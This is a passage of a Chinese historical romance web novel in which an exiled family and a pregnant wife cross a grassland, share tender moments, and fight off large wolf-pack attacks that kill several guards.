“小婶婶,我们不摸它,可以让它转过身来给我们看吗?”彤姐儿问宣槿妤。 宣槿妤揉了揉白隼手感极佳的小脑袋,将它抱着转了个身。 “看吧!只都不许动手,当心它伤了你们。”她叮嘱道。 孩子们兴奋地连连点头,七颗小脑袋凑在一起,嘀嘀咕咕的,欣赏着玉爪的英姿,也果真没有一个人动手。 这样水草丰茂的大草原,最适合扎营居住。 他们很早之前就准备好的帐篷终于派上了用场,一顶顶灰色的帐篷被支了起来,分散在这样浓绿的草地上。 远远望去,像是蓊郁的草地上,开出了一朵朵灰色的小花儿。 “像一座座小山包。”前方探路回来的斥候毫无想象的美感,对着陈阳这样说道。 王虎嘲笑陈阳,“你的人果真是个大老粗。” 陈阳:“……说的像是谁不是个大老粗一样?”都是行伍中人,不都莽夫一个? “除了苏家人。”为着严谨,他补充道。 他们这些人,谁不是穷苦人家出身,凭借着一点好运气,走上习武这条路,然后祖上冒了青烟,才能进入人才济济的兵部或禁军? 运气差一点儿的,都被丢到战场上,当个无名小卒,从此生死皆不由己身。 王虎被陈阳噎得无话可说,只示意他的手下,“说说你的看法。” 他的手下为着不让自己的上峰丢了脸面,绞尽脑汁,然后说:“像是草地上开出了一座座小坟包。” 王虎:“……”想象力真好,别说了。 陈阳带头哈哈大笑。 路过的宣文晟无情吐槽,“好诡异的说法,是个人才。” 他转头就找了苏琯璋说了这件事,收获妹夫清清淡淡毫无波澜的眼神。 宣文晟毫无分享的成就感,白了他一眼,“我就不该找你说话。” 他哪怕是找苏家其余人分享这桩趣事呢! 要知道,这样日复一日南下的平淡生活,可真是太无聊了,他好不容易才得了这样一桩可以笑笑的乐子。 若非怕吓着妹妹,他最该找的人,是宣槿妤才对。 “文晟哥若是无事可做,可以帮忙劈个柴。”苏琯璋说,“柴火要不够用了。” 苏琯文正“哼哧哼哧”地劈着柴,闻言忙招呼人,“宣三哥快过来,柴管够。” 不是,谁要劈柴了? 还管够?当他乐意劈柴呢? 宣文晟回头去找宣槿妤,想让妹妹为自己说话,但见她正和孩子们围着那只玉爪玩得正开心,只得叹了口气,撸起袖管,认命地干活儿去了。 广袤的草原上有太多无主的野生动物,成群的野鸡野鸭,还有肉嫩鲜美的羊群。 宣文晟带来的侍卫们都是一群狩猎打鱼的好手,不仅捉住了三两只肥羊,还下水捞了不少大鱼,凑了一锅鱼羊鲜。 这一晚,他们吃了个心满意足。 夜里,夫妻俩单独住了一顶帐篷。 苏琯璋终于想明白了宣槿妤在用早膳时、和她后来非要自己下地走山路时的异常。 “抱歉,”他抱住宣槿妤,贴在她耳边轻声道,“今晨是我有欠妥帖。” “是我没控制住自己的反应,却险些毁了你的清誉。” 若今晨他们二人独处时有人闯进了山洞,见到他那样一副模样,是苏家人和宣文晟还好,若是旁人…… 有关男女之间的风月情事,吃亏的总不会是男子。 世间对女子多有苛责。 同样一件事,于男子而言便是风流情事,于女子而言便是浪荡下贱。 即便他们是夫妻,被旁人撞见了,虽明面上可能不敢说些什么,但私下里总会对宣槿妤指指点点。 说些什么她好手段,身怀有孕还能勾起他的□□等等污秽之言。 他是大理寺少卿,去各地复核卷宗时听多了这样不管对错,总是女子之过、祸起女子的言论。 他险些害了她。 “对不住,槿妤。”苏琯璋懊悔不已,贴着她的脖子轻轻吻着,借以平复自己的情绪。 “我会控制好自己的,日后不会再让你陷入那样的境地了。”他说,低着头看宣槿妤的眼睛,神情十分认真。 宣槿妤眨了眨眼,听完了他的剖白和歉言,摸了摸他的脸,“你知道就好。” 她的声音里带了委屈,因着他的纵容,还多了几分撒娇的意味。 宣槿妤想,她真是栽在这男人身上,再无法翻身了。 纵然这男人有时候清冷寡言到浑不似一个活人,常惹得她生气;但过后他总会带着他的反思与坦诚来找她和谈。 常年如非必要,一日也说不了几句话的男人,这时候就一改常态,认真地剖析着自己的想法,说出他的错,并承诺会改。 她本就舍不得他,再见他这般,哪里还会舍得不去搭理他。 “你就吃准了我吃你这一套。”她咬上他的唇,盯着他的眼睛,含糊不清地说道。 苏琯璋清淡的眸中又有了很明显的情绪,他在笑。 虽然没有听清楚她在说什么,但她的举动很明显,她原谅她了。 他反客为主,将他今日在山洞马车旁就想做的事情,毫无顾忌地做了出来。 他吻得好凶,下次不主动招惹他了。 宣槿妤临睡前,这是出现在她脑中的最后一个念头。 接下来几日都有着很好的天气。 马车行驶在草地上,速度比往常都要快了许多。 车窗开着,草原上的清风混合着青草的气息飘入马车中,驱散了夏日的暑热之气。 宣槿妤缩在苏琯璋怀里,昏昏欲睡。 她近些日子肚子又大了一些,行动也有些不大方便了,身子也懒怠许多。 只偶尔在马车上坐累了、待烦了,她才要 求下地走走,不然就会像如今这般,赖在苏琯璋身上不愿意动弹。 “要不要换个姿势?”苏琯璋问,给她喂了一颗野果。 这种果子是前几日他和宣槿妤饭后消食时无意间发现的,黝黑发亮的果实和葡萄十分相似,却要小一点。 他尝了尝,觉着味道有点酸,宣槿妤却十分喜欢。 因为这种果子无毒无害,酸酸甜甜的又适合孕妇的口味,他还摘了不少,特意在马车上给宣槿妤留着作零嘴吃。 林清婉之前特意亲手给宣槿妤做的酸梅早已吃完,眼下他们又在离有人烟的地方越走越远,宣槿妤馋了一两个月,可算是吃上了酸果。 而孩子们,也终于有了零嘴可以解解馋。 “我还要吃。”宣槿妤懒懒地翻了个身,躺在他腿上,捂着嘴秀气地打了个哈欠。 困成这样。 苏琯璋摸了摸她的脸,又给她喂了一颗,“要不睡会儿?” 宣槿妤摇了摇头,“不要,昨日白天就是睡多了,夜里才睡不着。” 昨夜她翻来覆去就是睡不着,索性将他扒拉起来,闹着要让他给自己讲故事。 可苏琯璋哪里会讲故事? “那就说说你经手过的案子。”宣槿妤不愿意放过他,她自己睡不着,就要折腾他。 苏琯璋想了好一会儿,还真想出了几个并非机密也适合她听的案子。 “这是什么时候的事儿?”宣槿妤问。 “我们婚后第一年,有一个月我日日都很晚回来。”苏琯璋放轻了声音。 宣槿妤隐约有了点印象,“就之前京中传得沸沸扬扬的那个?”她终于想起来了,原来她听过这案子。 苦主有一个很机灵聪敏的儿子,只家中没钱,没办法送他去学堂读书。学堂的夫子见他好学且有慧根,便特例许他在学堂外旁听。 只一日,这孩子在学堂外旁听的时候,无意间冲撞了贵人,被抓进了衙门里“略施薄惩”。 才几岁的孩子,哪里受得住衙门里的刑罚?被放归家中不过一日,便没了性命。 第53章 第53章深夜狼袭 苦主是个鳏夫,再没了儿子,生活便没了指望。他万念俱灰,想自杀无果,得夫子的指点,便去了大理寺鸣冤,想要为儿子讨个公道。 很老套简单的案子,却因着苦主穷农的身份,和另一方权贵的背景,好似还纠缠到了皇家,惹得大理寺查了很久,却毫无进展。 最后还是大理寺卿一拍手,将案子扔给了苏琯璋,让他去和皇权对着干。 还真让他顶着压力还了苦主一个清白,给了那冤死的孩子一个公道。 宣槿妤当年听这案子时还为那可怜无辜的孩子难受过一场,如今她腹中怀着孩子,便更是难受。 她眼圈很快就红了,眼泪啪哒啪哒滴落在被子上。 苏琯璋眼中残存的最后一点睡意顿时烟消云散,他小心地抱着她哄了许久,“我不该说这样的案子给你听。” 因他的身份和身手,一般大理寺分给他的案子,要么是要和权贵世家拉扯抗争,要么是涉及敏感重大之事、稍有不慎便能丢了性命的那种。 他能和宣槿妤讲的案子确实不多,方才他真是没睡醒脑子不清醒才会和她说这样惹她共情伤心的案子来。 昨夜后半夜两人折腾了很久才躺下,上午二人双双起晚了。 许玉娘和宣文晟上午见到眼睛红肿未消的宣槿妤,以为是他欺负了人,还好生训斥为难了他一番。 许玉娘敲打着儿子,“璋小子,你媳妇儿有孕在身本就艰难,还要陪你在这荒凉之地吃苦。” “你堂堂男子汉大丈夫,作甚要惹她伤心难过?” “我们苏家自祖辈开始就是出了名的爱护媳妇儿的,你看看你爹是怎么对你娘我的,看看你三位兄长是怎么对你嫂嫂们的。” “再看看你自己,往年三天两头惹槿妤伤心生气跑回娘家,已经足够丢我们苏家脸面。” “如今你媳妇儿怀着孩子,你不处处体贴爱护她就罢了,竟还要招惹她。你看她那眼睛肿的。” “我要是槿妤,有那等大力气,不捶死你这个负心汉才怪。” 一旁“路过”的“不小心”听到母子训话的宣文晟面上表情顿时便一言难尽起来。 他本已经将苏琯璋敲打过一番,不过越想越生气,便想再好生为难他一回的,好叫他别再招惹他妹妹伤心。 只“不小心偷听”到了亲家母训斥她儿子的话,一时倒也有些心虚。 他妹妹是什么样的性子他再清楚不过,谁和她亲近得她依赖,她高兴了便有撒不完的娇,要是心里不高兴也只会对着最亲近的人发脾气。 以往在宣家,母亲是那个被妹妹依赖撒娇的人;如今在苏家,妹夫便是那个被她亲近折腾的人。 而亲家母口中的“不处处体贴爱护她就罢了”,听得他一脸茫然和疑惑。 原来竟是他这个当人兄长的还不够爱护妹妹? 他冷言瞧着他妹夫对着妹妹已经足够体贴关怀,比他这个做兄长的还要想得周到。 原来这样的程度也是要被“捶死”的吗? 宣文晟一脸恍惚地抬脚离开了。 离开前还想着,等到夜里安顿下来,他定要写信给母亲和妻子,问问她们他这个兄长是否做得太过不称职。 否则他为什么会觉着,妹夫这样的“负心汉”其实还挺好的? 他定要好好反省己身才是。 苏琯璋上午才被三舅兄敲打过,也被母亲训斥过,被迫认下“欺负妻子”的罪名。 眼下又听宣槿妤提起昨晚,他便有些小心翼翼的,不大敢接话。 生怕她又再掉眼泪。 他昨夜可是哄了大半夜,等她睡熟了他又看着她的睡颜出神,将近凌晨才睡去。 “那你再吃一颗果子。”他说,末了看着刚吃完又眼巴巴盯着他手里野果的宣槿妤,哄道:“不能再多吃了,当心反酸,身子更不舒服。” 坐马车也有坐马车的坏处,宣槿妤坐久了,身子容易疲乏,午膳时她胃口也不大好。 马车再启程,走了一段路后,苏琯璋便发现妻子捧着肚子,一脸的不舒服。 “也没晕马车。” 苏琯璋替她诊了脉,没发现什么不对劲的地方。 应当还是太困了,他想。 但午歇的时辰已经过了,宣槿妤又不愿意在这时候补眠。 他心疼地亲了亲她的脸颊,“马车里憋闷,更容易犯困,要不要下去走走?”他问宣槿妤。 宣槿妤恹恹的,提不起什么精神,但闻言也应了声“好”。 下了马车,扑面而来的青草香气中,带着头顶热烈太阳的火热,暖融融的。 宣槿妤掩着唇,打了个哈欠,在蒸腾的热气中,越发困倦。 到底撑不过孕中这股来势汹汹的倦意,她还是回了马车,躺在苏琯璋怀里,补了一个好觉。 醒来时,宣槿妤午时犯懒的身子彻底恢复过来。 带着好眠后的神清气爽,她的双眼也明亮如星,惹得苏琯璋把持不住,二人在马车里隐秘地交换了亲密而安静无声的吻。 黄昏时分,他们一如前几日,在溪水边安营扎寨。 夏日天黑得晚,用完晚膳后一群人慢慢在附近走着消食。 走着走着,孩子们很快消失在高高的草丛里,然后被大人们抱着或扛着露出草面。 “那儿有好多蜻蜓,好漂亮!”燕姐儿被她父亲苏琯武托在肩头,眼尖地看到一群在远 处水面上低飞的蜻蜓,偶尔点一下水。 苏琯武顺着女儿的小手指着的方向看去,脸色顿时便有些不大好。 他扛着孩子往回走,“回去了回去了,要下雨了。”他朝着周围大喊。 苏琯璋和宣槿妤正在苏老夫人和苏二婶的帐篷里与她们二人说笑,闻言站了起来。 苏琯璋打开门帘,便见宣文晟站在门外,举着手,看样子是正准备敲门。 见到他,宣文晟道:“外面水面上有大群蜻蜓在低飞,夜里恐有大雨。” 他们在这片草原上走了几日,天气就晴好了几日。晚膳前也未见什么要下雨的征兆,没料到就遇上了蜻蜓低飞。 二人正说着话,陈阳也快步走了过来。 他刚去水面上看了一眼,发现他们营帐附近的水源上都聚集了一批蜻蜓。 听到宣文晟的话,他便也开口,“人判断的可能不准,但蜻蜓低飞下雨的可能性很大,何况还是一群蜻蜓低飞。” 这时外出散步的一群人也回来了。 苏声抱着慕哥儿走在前头,苏琯煜扛着启哥儿走在后面。 “我们搭的帐篷可结实?夜里若是雨大会不会进水?”苏声问苏琯璋,苏老夫人和苏二婶住的这顶帐篷就是他扎的。 苏琯璋终于找到机会说话,朝着父亲颔首,“这里地势高,帐篷料子也防雨,除非遇上狂风暴雨掀起整座帐篷,否则不会进水。” 他这话说的,让门口一堆人脸色都有点不大好。 “你这个乌鸦嘴,”走在苏声后面的许玉娘赶上来,闻言没好气地白了苏琯璋一眼,“快呸掉,不许胡说。” 苏琯璋摸了摸鼻子,呸是不会呸的,他只讪讪地闭了嘴。 宣槿妤慢吞吞地走了过来,见他又被婆母训,不仅不心疼也不为他说话,还捂着唇笑了起来。 苏琯璋去扶她时,便见她眉眼弯弯的,衬得她明艳的容颜都清甜了几分,他眉眼柔和下来。 “我去加固帐篷。”人群末尾的苏琯煜走了过来,放下肩上的启哥儿,自觉替胞弟解围。 苏琯文、苏琯武对视一眼,也笑着附和,“我们也去。” 宣槿妤正笑着,眼皮忽而开始狂跳。 “怎么了?”苏琯璋问她。 “我有很不好的预感。”她捂着胸口道,心里慌慌的,像是整颗心都要跳出胸腔来。 苏琯璋紧张地为她把脉,只发现脉象略有些快。 宣文晟还未走,见状想起了什么,“妹妹你是觉得夜里会出事?” 许玉娘正进了帐篷,要给宣槿妤倒点热水喝看能不能舒服一点,闻言惊讶地回头去看了宣文晟一眼,又去看宣槿妤。 她还记得,前些日子大暴雨,他们在马车上时,宣槿妤说的,她直觉很好的事来。 “真感觉不好啊?”许玉娘有些紧张地问。 自接受了小儿媳力大无穷的一面,她再接受她直觉很准的另一面便也毫无疑义。 她甚至觉着,宣槿妤是上天体恤她那不讨喜的幼子,特意将她托生到人间来的福星。 否则,大盛朝适龄的姑娘这么多,为何月老就单替他们二人牵了红线?这不是天赐的缘分是什么? 为此,她心里越发喜欢宣槿妤,而相对应地,越发“嫌弃”起自己的儿子来。 苏老夫人、苏声和苏二婶显然也听她说过山洞那事,闻言也纷纷朝宣槿妤投来目光。 宣槿妤被一群长辈好奇的目光包围着,有些不大自在。只她自小也是在长辈们的爱护下长大的,对于这样的目光她并不陌生,于是她很快便冷静下来。 “我们夜里可能会有大麻烦。”她说,瞧着众人变了脸色,她又很快补充,“我的直觉不一定十分准确,但我们最好还是早做准备。” 那句“不一定十分准确”,她说得十分飘忽,仿佛只是为了不让他们过于担心才说的场面话。 在场的人都是人精,哪里听不出来她的意思。 夜深人静时,果真出了事。 那只被他们救下的白隼这几日都跟着他们,夜间就安安静静地窝在帐篷角落,将头埋在未被烧焦修剪过的一侧翅膀中。 隔着数里的距离,它敏锐地察觉到外面有什么动静,有些焦躁地单脚在地上跳了跳。 但这样细微的声音被湮没在周围草丛的虫鸣蛙叫声中。 因着宣槿妤的话,苏琯璋这夜睡得不大安稳。 一丝浅淡的血腥味飘到他鼻中时,他猛地睁开了眼,反应极其迅速地将宣槿妤抱坐起来,揽在怀里。 白隼玉爪高亢破空的声音几乎是同时响起,声声尖锐且急促,带着人类所不能察的威慑力。 而这时外面细微的倒地声这时才传到他耳中,伴随着不似人类的轻微奔跑声,几乎是悄无声息的。 道道敏捷轻盈的奔跑声在听到白隼的震慑后稍微停顿了一小会儿,很快又继续迅疾游走在这方被人类隔绝起来的天地中。 “戒备。”苏琯璋高声喊了一句,快速地给半醒未醒的宣槿妤穿好衣裳。 这句话他是加了内力说的,声音清晰地传出帐篷。 但其实不必他提醒,白隼方才的示警声已经惊醒了不少人。帐篷内的烛火几乎是在他说话的同时亮了起来,外面的火把也很快燃烧起来。 很快外帐篷四面便传来纷乱的脚步声,和几声惊叫,“守夜的都死了。” “狼,是狼把他们咬死的。” “狼怎么进来的?快起来!” “狼在这里。天哪!好多狼!” “都快起来,有狼来袭。” …… 第54章 第54章野狼再袭 不远处的烛火摇曳,照亮了他们这一方床铺。 宣槿妤被嘈杂的声音惊醒,抬眼便见正揽着她站起来的苏琯璋一脸的凝重。 她上次见他这状态,还是他们前些时日在外扎营时,遇上一只不慎被困在洞穴中才逃出来,饿狠了不管不顾来袭击他们的老虎的时候。 那时候他们二人单独在外散步,苏琯璋要顾着她,只将她抱起运起轻功飞快逃离,闻讯赶来的苏琯煜等人很快便将那老虎赶走。 而今夜,又是发生了什么和那日一样的惊险之事? 宣槿妤缩在他怀中,凝神屏息。 很快,她便知道外面发生什么事儿了。 凄厉可怖的狼嚎声从帐篷外传来,接着是马儿不安的躁动声。 更多的人从睡梦中被惊醒。 “快快快,陷阱里的狼要跳出来了。嘿,伤成这样了居然还没死。” “后面后面,狼要跳进来了。” “不是才杀了两只?怎么又来了两只?” “天,都起来,上百只狼。哦不不不,得有好几百只狼。” “火,快点火,狼怕火。” “不行,雨太大了,火点不起来。” “他爹的,竟在这时候落起雨来。” “外面几座帐篷都是空的,引它们进去,里头有陷阱。” “快快快,有狼王,嘶。” …… 很快,人声被淹没在嘈杂的雨声中,噼啪噼啪的,很快“轰隆隆”的雷声也响了起来。 大雨倾盆。 宣槿妤心跳得厉害,肚子里的孩子感受到母亲的情绪,也不安地动了起来。 苏琯璋亲了亲她的额头,“别怕。” 烛光大亮。 许玉娘披着外裳走了过来,一眼便见宣槿妤隆起的肚子里,孩子的小手小脚不停地动来动去。 “怎么胎动得这般厉害?”许玉娘担心地问,“可是吓着了?” 苏琯璋侧过身,给母亲腾出了能坐下的位置。 苏家其余人也围了过来,除了苏声、苏琯煜、苏琯文和苏琯武四人,他们正守在帐篷四角,牢牢护着最后一道屏障。 宣文晟不会武功,但他带来的侍卫们也很快冲了进来,身上的雨水还在哒哒地往下流,很快淌了一地的水珠。 宣文晟的贴身侍 卫清风手中的剑血淋淋的,混合着雨水,烛火摇曳中十分刺目。 “有两匹马被咬死了,还有两匹挣脱了缰绳不知去向,其余马也躁动得厉害。我们留了一人在那里试图安抚它们。” 清风语气很快,简单地将外面的情况说了。 “约莫来了两三百只野狼,还有五只狼王,我射杀了一只,陈副尉也杀了一只。” “今晚守夜的三个人全死了,被野狼一口咬穿脖子,瞬间毙命。” “帐篷周围的陷阱里都有野狼掉进去,但更多的野狼借着同伴的掩护冲了进来。” 他剑上的血迹就是杀狼的时候留下的。 “我进来的时候,野狼刚刚在狼王的召唤下退了回去,它们怕雷声。” …… 外面竟这样惊险。 孩子们惊魂未定,年纪最小的慕哥儿和桓哥儿、雯姐儿这对龙凤胎脸上都是一副要哭不哭的模样。 三位嫂嫂和苏二婶正安慰着孩子们,偶尔朝宣槿妤望过来一眼,眸中含着几分感激。 若非她提前预警,今夜恐怕更是艰难。 因着宣槿妤傍晚时分的那句不好的预感,他们拆除了原先的小帐篷,苏家人和宣文晟今夜都宿在了如今这个加固后的大帐篷里。 而例行的防御上面,除了平日里常规的陷阱,他们今夜还往帐篷外延伸了数十丈,多挖了一圈捕兽坑。 而守夜的人多加了两个,两支队伍也分作几个小队,几顶帐篷将他们中间这顶大帐篷围了起来。 本以为广袤的草原上不会有什么猛兽敢袭击他们这样大的一支队伍,毕竟眼下是夏季,草原上并不缺乏它们的食物。 陈阳王虎听他们建议时还挺诧异,觉着他们想多了。没料到,竟真的发生了野狼夜袭的事情。 而外面的捕兽坑当真派上了用场。 暴雨如注,帐篷下面的低洼处已经被水淹没,天地间也仿佛只剩下了雷声和雨声。 陈阳一身水淋淋地走了进来。 “野狼暂时退了,”他说,抹了把险些掉进眼睛里的水珠,“死了五个弟兄,伤了十余个。” 他的声音里带着伤感,“若非雷声响起,它们还要咬死咬伤更多人。” 太突然了,纵然他们已经提前做了防备,但野兽毕竟是野兽,毫无理智且战斗力惊人,再有狼王指挥,群攻之时,咬死咬伤一个人简直轻而易举。 大家一时都不知道该说些什么。 陈阳只是过来说明一下情况,很快就走了,他要回去收拾残局。 处理野狼的尸首,重新布置好陷阱。 更重要的是,烧掉死去弟兄的遗体,然后将他们的骨灰妥贴装好带在身边,日后好交给他们的家人。 心情太沉重了,睡前还有说有笑的人一下子就变成了一捧骨灰。 那种落差,再大大咧咧的糙汉子也都受不了。 雨水像是要将帐篷冲垮般,狠狠地砸落,而后不甘地滚落在地,汇聚成大大小小一滩又一滩水坑。 野狼血浓郁的腥臭气和遗体燃烧的产生的并不好闻的气味混合在一处,熏人得很。 沉默地处理着伤势的人悄悄地抹了一把眼睛,差一点,他们自己也成了一捧灰。 以武入朝为官的人,在穿上官服的第一日就知道,他们随时都可能会丢了性命,尤其每次出任务的时候。 这次被派来护送苏家人流放广虚府,他们也和家里人交代过,回来的可能只会是他们的骨灰。 但有心理准备是一回事,人非草木,为逝去的人沮丧伤感、为自己的前程担忧在所难免。 王虎憨厚的脸上也没有一点表情,只眼睛红了一圈。 天将将亮时,雨停了。 “此地不宜久留。” 陈阳越过打开着的门帘,身上仍是湿的,只不再往下淌水。 他连夜冒着暴雨带着人处理野狼的尸首,又亲眼盯着自己的手下尸骨被焚烧,骨灰也亲手被他装进小罐子里,几乎没有休息的时间。 不知是因为疲累,还是难过,他瞧着落拓不少,往日干干净净的下巴上胡茬也冒了出来。 “狼王昨夜打死了三只,还剩了两只。不知道还会不会来寻仇,我们尽早离开这片草原。” 一行人早已收拾好行装,闻言便很快动了起来。 黎明时分,他们上了马车。 马匹昨夜损失了两匹,就是开始被野狼咬死的那两匹。 两匹逃走的马儿在野狼退走后又趁着夜色,带着一身的雨水回了临时的马厩。 “幸好拉车的马还够。”陈阳苦笑。 损失的两匹马都是他们从兵部带出来的好马,死去的五名弟兄里,也有两名是他的人。 王虎心情也很不好,听到陈阳强撑着苦中作乐的话语也只当没听见。 “出发。”他说。 众人没时间吃饭了,也还没那个胃口。 宣槿妤是被苏琯璋捂着眼睛抱上的马车,没有看到外面厮杀过后的惨状,但她闻到了空气中还未散去的血腥味。 昨夜雨几乎是下了一整夜,还下得那样大,如今血腥味竟还未散去。 宣槿妤不敢去想那意味着什么,只到底妊娠期鼻子比往常更敏感,她捂着胸口干呕了几声。 苏琯璋忙扶她坐好,找到放了野果的柜子,很快洗干净给她嘴里塞了一颗。 “可好受些了?”他问。 宣槿妤恹恹地靠在他身上,只点点头。 苏琯璋摸了摸她的额头,又去探她的脉,末了将她放在自己腿上,“先睡,醒了再吃点东西。” 所有人几乎都是一夜未眠,她是双身子,怕是熬不住。 宣槿妤咽下口中的果子,枕着他的腿,闻着他身上熟悉的清雪气息,很快睡了过去。 只她睡得不大安稳,梦中眉头都是皱着的,苏琯璋伸手抚了几次,也没能将她眉头抚平。 他凝视着她的睡颜,摸了摸她的脸,眉眼沉沉。 马车走了约莫半个时辰。 那场大雨没给这片草原带来什么危害,只丰茂的水草吸饱了水珠,越发伸展着身子,调皮地想要给他们过路的人和马车增添点阻碍。 但才厮杀过,心情尚且没恢复过来的一群武人,哪里在意这点小小的阻碍,身上才换过的干燥衣裳湿了也没去管。 而马车底盘加高加固过,行驶在葱葱郁郁的草丛中,并未受到什么影响。 就连睡梦中的宣槿妤,也没有受到什么颠簸。 半个时辰,足够苏琯璋想通了许多事。 他打开车窗,让雨后清新的空气进入马车中。 看到骑马守在马车一侧的清风,刚要和他说什么,忽地,苏琯璋清淡的眼神瞬间便锐利了起来。 窝在马车车厢顶部的白隼玉爪也发出高亢的鸣叫,苏琯璋能听到它在不安地拍打着翅膀的声音。 他的眉头顿时皱了起来。 昨夜几百只野狼偷袭营地,白隼还能发出警告震慑野狼——虽然因着狼王在没什么效果。 而如今它竟开始不安起来……他心里也有了不大好的想法。 他迅速将睡在他腿上的宣槿妤抱到怀中,让她靠在自己肩上,替她裹好自己的外裳。 做好这些,他从打开着的车窗往外望,只看到架着这辆车厢的马儿在不安地撂着蹄子;而前方开路的几匹马儿长长嘶鸣一声,不肯动了。 斥候的声音远远地从前方传了过来,离得太远,他听得有些不大清晰。 苏琯璋将头探出车窗,才听清斥候在急切地说着的是什么话。 “前面有狼群,后退,快后退。” 王虎飞快地从前面奔过来,“退,快退,前方有狼群出没。” 狼群? 昨夜的野狼又回来了? 队伍里有了些许躁动,但到底训练有素,很快安静下来。 王虎回到前方去了,陈阳带着掉了头,飞快地沿着来路往回跑。 马接受到后退的指令,迫不及待地转了向,飞快地朝着远离它们天敌的方向狂奔。 宣槿妤被苏琯璋牢牢固定在怀里,还有些没反应过来。 狼群? 青天白日里,他们人又多,怎会引来狼群? 莫非 真如陈副尉所说,狼群是来报昨夜之仇的? 车厢门被拉开,宣文晟飞快地跳上了马车,从前室走进来。 “王虎说,有近一两千头野狼在追着我们。”也顾不得会不会吓到宣槿妤,他语速飞快地对苏琯璋说道。 一两千头野狼? 宣槿妤霎时白了脸,下意识攥紧苏琯璋的衣袖。 昨夜两三百头野狼入侵他们的营地,他们有所准备还死伤了那么多人,如今竟来了几倍的数量! 苏琯璋安抚地轻拍着她的后背,皱着眉,草原里哪里来的这样大规模的狼群? 若说昨夜是个意外,今日再看,便有些不大寻常。 如今是夏日,草原上有数不清的猎物。狼群至于冒着这样大的风险,夜袭不成后,还要在白日的空旷草原上袭击一支百余人的人类队伍? 没有昨夜的天时地利,构不成偷袭的条件;且白日里在这样有利于躲避的平坦草原地形,狼王竟也会带领狼群这样做么? 但现在不是想这些的时候。 一两千只狼,便是这开阔地带再容易躲避,这数量也足以将他们淹没在这草原上。 顾不得多想,他仔细听着越来越近的狼嚎声,“来不及后退了,做好战斗准备。”他说。 宣文晟脸色也有些发白,不过只点点头,去吩咐他的人去了。 第55章 第55章草地惊魂 几辆马车都停了下来,被人群牢牢围在中间。 两支队伍合拢过来,陈阳王虎站在正前方,直面狼群。 有昨夜没来得及加入人狼大战的人,拿起了自己很久没用的兵器,“闲置了几个月,也是该沾沾血了。”他们爽朗地笑道,试图遮掩自己的惧意。 昨夜失去了朝夕相处的弟兄,他们今日可还憋闷着,早就想要痛快地厮杀上一场了。 只是,狼群的数量到底超过了他们所能承受的范围,人的求生本能让他们心生恐惧。 “当心些,斥候说,约莫有十余只狼王在。”陈阳叮嘱道。 “有心理准备。”王虎回答,一双眼睛喷着怒火。 只他到底心里犯嘀咕,这样多的狼群出没,没有狼王在才是稀奇事。 他昨夜损失了三名手下,心里本就憋屈,现下见到狼群,只恨不得报仇雪恨才是。 他爹的,狼王这样稀罕的存在,昨夜出现五只便已经足够稀奇;今日倒好,竟一下子出现十余只。 这片草原是专长狼王不成? 还有,什么时候狼群竟是以数百数千的数量一起出现的了?莫不是整片大草原的狼都聚到一起了? 他爹的,真是倒霉透了。 他不将这群畜生打个稀巴烂,他就不叫王虎! …… 疯了,这些野狼都疯了。 昨夜太过昏暗,且交手短暂,感觉并不明显。 如今是白日,甫一交手,他们便很快察觉到,这群野狼的野性不同寻常。 像是饿了好多天,又像是中了什么烈性药,个个疯狂地只会撕咬、撕咬,头颅都被砍下来了嘴里咬着的人类的皮肉还是不肯放开。 哀嗷声不断。 苏家的老弱小孕皆被牢牢护在正中心,苏琯璋留下照应。昨夜受过伤的人也在这一圈子里,警惕地提防着随时可能突破外圈朝他们奔袭而来的野狼。 时间短暂,来不及做更多陷阱,外圈的人正面承受了野狼群的袭击,状况都有些不大好。 人类香甜的血液飘散在空中,极大地刺激着野狼本就疯狂的兽性。 便是白隼这样天生凶猛的禽类,也难得被这样的场面震慑住。 它缩着骨折未愈的腿,也不叫了,只警惕着不断地转着头,安安静静地用一双也被刺激狠了的瞳孔盯着四面八方围涌而来的一群群野狼,徒劳地彰显着自己的桀骜和锐利。 野狼根本没注意到这只往日也能捕杀它们同类的凶禽,只顾着抓挠、啃咬、弑杀着人类。 有狼王在,狼群显然训练有素许多,它们分批冲杀、以狼身搭梯试图越过前方的保护线,只很快被前方的人斩杀。 狼的尸首和人的哀嚎声同时响起。 许萱娘、常湄言和丁茜茜手里都拿了根柴火充当简易的兵器,护着孩子们。 就连被护在内侧的苏老夫人、许玉娘和苏二婶,也不甘示弱,也跟着捡了根柴火。 宣槿妤心“砰砰”地跳着,一时有些无措。 她心情激动时气力是比寻常十多名男子加起来的气力还大些,但大力气在对上野狼的时候并不能给她增添几分胜算。 她挺着个大肚子,连行动都渐渐开始不便起来。 她察觉到自己的无能为力,且开始觉得沮丧和难过。 如今慕哥儿已经开始跟着苏琯武扎马步,所以这里的人,就只有宣槿妤和宣文晟是全然不懂武功的两个人。 就连宣文晟带来充当厨娘的那两名仆妇,其实也是深藏不露的高手。 她们和宣文晟带来的侍卫们团团围在他们身前,冷静地将一支支箭羽射出去,收割一只又一只野狼的性命。 宣槿妤头一次察觉到会武的好处来,决心日后再也不骂苏琯璋是粗莽武夫了。 而宣槿妤好歹有力大无穷一个优势,宣文晟就是全然的所谓百无一用是书生的那个书生了。 只他心态极佳,这时候还不忘安抚显然有些紧张和失落的妹妹。 “妹妹你别慌,你看你三哥哥我,连你都不如。但你三哥哥脸皮厚,有人保护就行了。” 宣槿妤勉强冲他露了个笑,很快便被苏琯璋揽着将头按在他怀中。 “别看,别听。”他说。 人狼大战中,人渐渐处于下风,场面已经超过了宣槿妤能够承受的程度了。 孩子们也都乖乖地听着大人们的吩咐,牵着他们的衣摆,闭上了眼睛。只有启哥儿,惨白着一张小脸,严肃又冷静地看着堪称炼狱的场面。 宣槿妤心跳加快,被苏琯璋话中难得的严肃吓到,然后便被他更紧地揽住了肩膀——她如今肚子已经很大,他揽住她的时候再没有碰过她腰身,怕不小心伤到孩子。 宣槿妤视野中只有一片玄色,是他身上衣裳的颜色。 她什么也看不到,耳朵也被他牢牢捂着,什么也听不到。 刚开始时鼻尖还能闻到飘来的浓郁血腥味,很快,她被他更深地按在他怀中,于是,她鼻尖便仅剩下他身上清淡似雪一般的气息了。 只宣槿妤和孩子们被护得好好的,可以不看不听不闻。宣文晟倒是没有什么人顾得上他,也没将他当那等娇气经受不住残酷场面的人。 他站在苏琯璋身旁,他的贴身侍卫清风被派去看顾宣槿妤了,此时清风正守在苏琯璋身后。 而他带来的余下九名侍卫负责保护他的性命,同时也兼顾着这一圈老弱小孕和伤者的安全。 此时他们正听着苏琯璋冷静的指挥声,将一只只试图收割人类性命的野狼一一射杀。 